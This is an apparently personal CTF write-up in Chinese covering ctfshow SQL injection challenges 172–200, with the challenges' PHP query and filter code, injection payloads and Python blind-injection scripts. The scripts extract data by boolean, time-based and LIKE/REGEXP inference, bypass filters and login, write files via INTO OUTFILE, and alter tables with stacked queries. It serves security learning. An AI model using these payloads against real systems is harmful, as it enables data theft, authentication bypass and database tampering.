ctfshow-sql注入-超详解(172-200)

前言

今天是2021/7/25,正式进入sql注入专题,目标:加强python的学习,达到通过写python脚本,加快注入速度的程度,掌握sql在php编程中的一系列查询语句。

新手区

可以看看Y4师傅以前记录的小笔记
SQL注入之MySQL注入的学习笔记(一)
SQL注入之MySQL注入学习笔记(二)

2021-7-25

web172、web173——hex() 、to_base64()

查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

意思大概就是把flag从查询中给ban掉了

解决方法

利用编码解决:base64、hex

这里针对的是id = '".$_GET['id']."',双引号是包括在内的,可能只是起解析作用

payload

yn8'union select to_base64(username),hex(password) from ctfshow_user2+--+

16进制在线

web174——盲注

查询语句一样(不贴了,占地方)

返回逻辑

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

PHP JSON

也就是说返回的结果是不能有flag和任何数字

解决方案

采取盲注并利用二分法来判断

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/25 17:17
# @Function:
import requests
url = "http://cece2e87-a82b-4be3-9a5d-fd78f587916e.challenge.ctf.show:8080/api/v4.php"
flag = ''

for i in range(0,100):  # 创建一个整数列表
    max = 128  # ASCII可见字符
    min = 32
    while 1:
        mid = min+((max-min)//2)  # 取整除 - 向下取接近商的整数
        if min==mid:
            flag+=chr(mid)
            print(flag)
            break
        payload="?id=' union select 'a'," \
                "if(ascii(substr((select group_concat(password) " \
                "from ctfshow_user4 where username='flag'),%d,1))<%d," \
                "'small','da')+--+"%(i,mid)
        res = requests.get(url=url+payload).text
        #print(res)
        if "small" in res:
            max = mid
        else:
            min = mid

2021-7-26

web175——时间盲注

返回逻辑

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

检测\x00-\x7f也就是0-127,所以普通的盲注是不行了

时间盲注测试语句:1'and if(1=1,sleep(2),0)+--+可以

Python 3 字符串前 加 u、r、b 、f的含义

一篇读懂Python中的位运算

方法一

嫁接y4的脚本,比较好理解

import requests

url = "http://6cd84f2d-be07-46cc-bc8e-90b6ff57f72a.challenge.ctf.show:8080/api/v5.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'1=if(ascii(substr(database(),{i},1))>{mid},sleep(2),0)+--+'
        # payload = f'1=if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(2),0)+--+'
        # payload = f'1=if(ascii(substr((select column_name from information_schema.columns where table_name='ctfshow_user5'),{i},1))>{mid},sleep(2),0)+--+'
        payload = f'1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0)+--+'
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

方法二

利用into outfile来实现文件的输出

?id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'+--+

web176——大小写绕过

web177-179——空格绕过

除了空格,在代码中可以代替的空白符还有:

%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码

/**/组合
括号
%23代替注释符 -- 

web180-182——优先级 and > or

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

空格利用的是()括号代替的

解题:

where username !='flag' and id = ''or(id=26)and'1'='1' limit 1
where (username !='flag' and id = '')or(id=26 and'1'='1') limit 1
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1

关于优先级问题就跟加减号与乘除号一样,and先运算,那么and的运算结果过程如何解释:需要同时满足两边的条件才会返回true,否则不执行啊!那么这里就是让第一个and语句返回false让后面的and语句来做到知行的效果

payload:'or(id=26)and'1'='1

web183——like盲注

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

查询结果

//返回用户表的记录总数
      $user_count = 0;

解题思路

括号代替的是空格
tableName=(ctfshow_user)where(pass)like'ctfshow{%'
% :在sql中通配 N 个字符
_ :通配任意一个字符
会发现返回结果  $user_count = 1;代表匹配到了一个,利用此模式盲注

python脚本

需要post传参

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/27 12:21
# @Function:
import requests
import sys

url = 'http://d4c4cba3-a83d-4957-a3e7-b6d67bd3a89d.challenge.ctf.show:8080/select-waf.php'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = 'ctfshow{'

for i in range(0,150):
    for j in letter:
        payload = {"tableName":"(ctfshow_user)where(pass)like'{}%'".format(flag+j)}
        r = requests.post(url=url,data=payload).text
        if "$user_count = 1;" in r:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()

2021-7-27

web184——利用having代替where进行like盲注

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

python脚本

利用到了mysql中的regexp正则匹配

MySQL中的内连接、左连接、右连接、全连接、交叉连接

SQL JOIN 中 on 与 where 的区别:在此脚本中是用on代替了where

利用having来代替where也是作为一个条件判断子句

利用16进制代替引号

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/27 15:04
# @Function:
import requests
import sys

url = 'http://683f40c0-31e4-46a7-bed1-f8eb216b7515.challenge.ctf.show:8080/select-waf.php'
flag = 'ctfshow{'
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

def asc2hex(s):
    a1 = ''
    a2 = ''
    for i in s:
        a1+=hex(ord(i))
    a2 = a1.replace("0x","")
    return a2
for i in range(100):
    for j in letter:
        payload = {
            "tableName":"ctfshow_user group by pass having pass like {}".format("0x"+asc2hex(flag+j+"%"))
        }
        r = requests.post(url=url,data=payload).text
        if "$user_count = 1;" in r:
            flag+=j
            print(flag)
            break
            if j == "}":
                sys.exit()

web185、186

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

mysql中的利用字符组合成的数字:

ctfshow-sql注入-超详解(172-200)_第1张图片

python脚本:

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/27 21:52
# @Function:
import requests
import sys

def createNum(n):
    num = "true"
    if n == 1:
        return "true"
    else:
        for i in range(n - 1):
            num += "+true"
    return num


def createstrNum(m):
    _str = ""
    for j in m:
        _str += ",chr(" + createNum(ord(j)) + ")"
    return _str[1:]


url = "http://282b6260-a1f9-437d-98f1-a7fb46d977a5.challenge.ctf.show:8080/select-waf.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
for i in range(100):
    for j in letter:
        data = {
            'tableName': 'ctfshow_user group by pass having pass like concat({})'.format(createstrNum(flag + j + "%"))
        }
        res = requests.post(url=url, data=data).text
        # print(res)
        if "$user_count = 1;" in res:
            flag += j
            print(flag)
            break
        if j == "}":
            sys.exit()

2021-07-28

web187——md5($pass,true)绕过

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

返回逻辑

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

注意到md5(string,true)这个函数

md5(string,raw)其中raw参数可选,且有两种选择

  • FALSE:32位16进制的字符串
  • TRUE:16位原始二进制格式的字符串

当有true这个参数,会以二进制的形式输出16个字符。返回的这个原始二进制不是普通的0 1二进制。

ctfshow-sql注入-超详解(172-200)_第2张图片

再看下一个知识点

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

构造payload

$sql = "select count(*) from ctfshow_user where username = 'admin' and password= 'ffifdyop'";
$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b'";

随手写个小脚本啊:

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/28 20:02
# @Function:
import requests

url = 'http://c523bc8a-a1eb-4c7b-81c2-915c52efa9bb.challenge.ctf.show:8080/select-waf.php'
url2 = ' http://c523bc8a-a1eb-4c7b-81c2-915c52efa9bb.challenge.ctf.show:8080/api/'

payload = {
    "username":"admin",
    "password":"ffifdyop"
}

#r = requests.post(url=url,data=payload)
res = requests.post(url=url2,data=payload).text

print(res)

web188——MySQL中的弱比较

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

mysql中字母与数字的比较过程:

你可以尝试一下在数据库中使用这样的语句:
select * from stu where name=0很有可能是能查询出东西的,即使你没有name为0的数据

这是因为数据库进行了弱比较,它select出所有name是以字母为开头的数据
以字母为开头的字符型数据在与数字型比较时,会强制转化为0,再与数字比较(这里很类似于PHP的弱比较)
假设我们username为0,那么就会相等,从而匹配成功

在这里的password是用0来混字母开头的$row['pass']

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/28 20:02
# @Function:
import requests

url = 'challenge.ctf.show:8080/api/'

payload = {
    #"username":"1||1",
    "username":"0",
    "password":"0"
}

res = requests.post(url=url,data=payload).text

print(res)

2021-7-30

web189——load_file结合regexp盲注

hints:flag在api/index.php文件中

mysql load_file在数据库注入中使用

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/30 15:48
# @Function:
import requests
import sys
import json

url = 'http://6ef6bc21-0110-4f40-bb9e-d260d53faac1.challenge.ctf.show:8080/api/index.php'
flag = 'ctfshow{'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'

for i in range(100):
    for j in letter:
        payload = {
            "username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag + j),
            "password": "0"

        }
        r = requests.post(url=url,data=payload)
        #print(r)
        if "密码错误" == r.json()['msg']:
            flag += j
            print(flag)
            break
        if '}' in flag:
            sys.exit()

是否注入成功利用的是mysql中的弱比较的返回值“密码错误”

web190——bool盲注

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪

python脚本

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/30 16:16
# @Function:
import requests

url = 'http://ba83b7e4-1f63-428d-aa58-589b7afe233a.challenge.ctf.show:8080/api/'
flag = ""
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        payload = "database()"
        # 查表
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        # 查flag
        #payload = "select group_concat(f1ag) from ctfshow_fl0g"
        data = {
            'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,0)='1",
            'password': '1'
        }

        r = requests.post(url=url,data=data)
        if "密码错误"  == r.json()['msg']:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        flag += chr(head)
    else:
        break
    print(flag)

web191——ord代替ascii

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

将190脚本修改即可

web192——bool盲注

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/30 16:16
# @Function:
import requests

url = 'http://ba83b7e4-1f63-428d-aa58-589b7afe233a.challenge.ctf.show:8080/api/'
flag = ""
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        payload = "database()"
        # 查表
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        # 查flag
        #payload = "select group_concat(f1ag) from ctfshow_fl0g"
        data = {
            'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,0)='1",
            'password': '1'
        }

        r = requests.post(url=url,data=data)
        if "密码错误"  == r.json()['msg']:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        flag += chr(head)
    else:
        break
    print(flag)

web193——bool盲注

禁用substr

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/8/3 16:46
# @Function:
import requests
import sys
url = 'http://955bf0a2-3516-4e57-9534-f5029f4ada04.challenge.ctf.show:8080/api/'
flag = 'ctfshow{'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-_,{}'

for i in range(100):
    for j in letter:
        payload = "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0) ='1".format(flag+j+"%")
        data={
            'username':payload,
            'password':1
        }
        res = requests.post(url=url,data=data)
        if "密码错误" == res.json()['msg']:
            flag += j
            print(flag)
            break
        if "}" in flag:
            sys.exit()

web194——bool盲注、LOCATE

用到了locate

LOCATE(substr,string)
返回字符串string第一次出现子字符串的位置 subtr,从1开始计数
例如:SELECT LOCATE(‘2’, ‘123’) 返回 2

payload:

payload="' or if((locate('{}',(select group_concat(f1ag) from ctfshow_flxg limit 0,1))=1),1,2)='1".format(flag+j)

接下来一个括号一个括号的分析:

select group_concat(f1ag) from ctfshow_flxg limit 0,1=ctfshow{123456789}

locate('ctfshow{',(ctfshow{123456789}))=1

剩下if 就不解释了,可以本地试一下

更换上题脚本的payload即可

web195——堆叠注入、UPDATE

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

payload:

payload="0x61646d696e;update`ctfshow_user`set`pass`=0x313131;"
# 至于为什么非得用十六进制登录,是因为下面这个没有字符串单引号包围
sql = "select pass from ctfshow_user where username = {$username};";

admin <=> 0x61646d696e

111<=>0x313131

web196——bug题目

关键之处:$row[0]==$password

uname:1;select(666)

passwd:666

web197-198——堆叠注入、修改列名

通过把密码列与id互换之后,降低密码的爆破难度,实现简单爆破密码

import requests

url = "http://b126bc7c-2b32-461d-9520-30d5baf7a152.chall.ctf.show/api/"
for i in range(100):
    if i == 0:
        data = {
            'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
                        'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
                        'varchar(255);',
            'password': f'{i}'
        }
        r = requests.post(url, data=data)
    data = {
        'username': '0x61646d696e',
        'password': f'{i}'
    }
    r = requests.post(url, data=data)
    if "登陆成功" in r.json()['msg']:
        print(r.json()['msg'])
        break

web199-200

# username=0;show tables;
# pass=ctfshow_user

非常机智的做法

你可能感兴趣的:(ctfshow,sql,php)